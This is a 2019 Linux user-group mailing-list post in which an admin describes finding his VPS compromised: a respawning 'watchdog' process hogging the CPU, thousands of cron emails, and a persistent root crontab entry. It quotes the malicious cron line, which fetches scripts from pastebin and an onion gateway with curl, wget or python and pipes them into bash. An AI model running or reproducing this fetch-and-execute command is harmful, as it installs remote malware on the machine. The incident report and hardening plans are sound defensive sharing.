[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[ale] I was hacked!
- Subject: [ale] I was hacked!
- From: jim at ezsched.us (Jim)
- Date: Mon, 4 Nov 2019 05:40:21 -0500
I run a server on? a VPS for an organization I support pro bono. I gave
up trying to run a mail server a while ago and started using mailgun.?
Mailgun is free for the first 10,000 emails per month and I knew
something was wrong when I received a bill for $10 from them.? Seems my
server that used to send less than 500 email suddenly sent nearly 20,000
last month.? I started investigating and found that the emails were all
sent from root to root on the same machine.
Here's one of them:
Delivered: root at xxxx.org ? root at xxxx.org 'Cron <root at xxxxs> (curl -fsSL
https://pastebin.com/raw/9QVpd02i||wget -q -O-
https://pastebin.com/raw/9QVpd02i||python -c 'import urllib2 as
-fsSL https://pastebin.com/raw/TwuQybiQ||wget -q -O -
https://aziplcr72qjhzvin.onion.to/old.txt -m 90||wget -q -O -
https://aziplcr72qjhzvin.onion.to/old.txt --no-check-certificate -t 2 -T
60)|bash' Server response: 250 OK
They were being sent every few seconds.? I also observed a process named
"watchdog" that was consuming all of my cpu 100% of the time.? Every
time I looked a the process table, I saw it at a different PID.? There
was no way to kill it.? I did a locate search for watchdog and didn't
find it, which wasn't a surprise.
I also noticed an entry in root's crontab that I didn't put there.? I
edited it and removed it and a few seconds later it reappeared.? It
looked a lot like the contents of the messag in that it was a series of
curls, wgets, python scripts piped into bash.
At this point I figured that the system was hosed and even if I could
remove the offensive malware, I would never trust it again.
The system wasn't perfectly locked down.? I did use an alternative ssh
port and only one normal user had sudo group.? I didn't have root locked
out of ssh.? I know, shame on me.? I was running fail2ban, but these
days that's a bit of a waste of time since when the bad guys get locked
out they just use a different IP address.? I checked ip addresses in the
mail.log file and all that I looked at were Amazon sites, probably aws.
I'm guessing whatever was running was mining bitcoins or something.
Just in case the bad guy got in from the host, we're changing the VPS
provider.? I do have complete backups.? The web pages are served from a
normal user so even if they compromised something there, which I doubt,
the normal user has no root access.? The only things I'll restore from
the root user are scripts which I will inspect.? I think I'll be OK but
if anyone has any suggestions, let me know.
The new server will not allow password access to ssh.? Only allow ssh
keys.? There are only 3 users on this machine and I'm the only one who
would know what to do with root access, so I'll have sudo permission and
no one else.
Thanks for listening.